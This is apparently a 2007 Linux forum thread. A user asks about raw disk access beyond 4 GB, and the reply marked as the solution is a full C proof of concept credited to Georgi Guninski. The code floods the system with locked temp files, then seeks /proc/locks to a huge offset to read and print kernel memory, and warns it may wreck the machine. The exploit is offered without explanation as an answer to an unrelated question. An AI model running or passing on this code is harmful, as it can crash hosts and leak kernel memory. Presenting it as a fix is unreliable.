急用，请教linux下裸访问硬盘空间

tent8

各位大侠，
如何在linux下裸访问硬盘超过4G的空间，或者有linux文件系统调用堆栈资料的也可以共享下。

tent8

问题解决

1. 
   
2. /*
   
3. * copyright georgi guninski
   
4. * cannot be used in vulnerability databases like securityfocus and mitre
   
5. *
   
6. * */
   
7. #include <stdio.h>
   
8. #include <stdlib.h>
   
9. #include <sys/types.h>
   
10. #include <sys/stat.h>
    
11. #include <fcntl.h>
    
12. #include <unistd.h>
    
13. #include <string.h>
    
14. #include <sys/mman.h>
    
15. #include <sys/file.h>
    
16. #include <syscall.h>
    
17. #include <errno.h>
    
18. 
    
19. _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
    
20. uint, wh)
    
21. 
    
22. void makefiles()
    
23. {
    
24. int cou,fv;
    
25. char vn[242];
    
26. for(cou=0;cou<920;cou++)
    
27. {
    
28. snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
    
29. fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
    
30. if (fv <0) perror("open2");
    
31. if (flock(fv,LOCK_EX) == -1) perror("flock");
    
32. 
    
33. }
    
34. while(42);
    
35. }
    
36. 
    
37. int main(int ac, char **av)
    
38. {
    
39. int fd,fv,i,cou;
    
40. void *mv;
    
41. char *he,*he2;
    
42. loff_t lr;
    
43. char c;
    
44. 
    
45. 
    
46. printf("\n\nThis may seriously screw your box\n\n");
    
47. printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
    
48. printf("Press 'Y' to run it\n");
    
49. read(0,&c,1);
    
50. if (c != 'Y') return 42;
    
51. cou=5;
    
52. printf("creating files...\n");
    
53. while(cou--)
    
54. if (!fork())
    
55. makefiles();
    
56. 
    
57. sleep(20);
    
58. printf("starting...\n");
    
59. system("sync");
    
60. fd=open("/proc/locks",O_RDONLY);
    
61. if (fd <0) perror("open");
    
62. he=malloc(1024*1024*8);
    
63. he2=malloc(1024*1024*8);
    
64. 
    
65. 
    
66. if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
    
67. i=read(fd,he2, 0x80004242);
    
68. perror("read");
    
69. printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
    
70. while(42);
    
71. return 42;
    
72. }
    

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[ 本帖最后由 platinum 于 2007-11-29 10:34 编辑 ]

shdnzwy

这么多符号，要禁用代码模式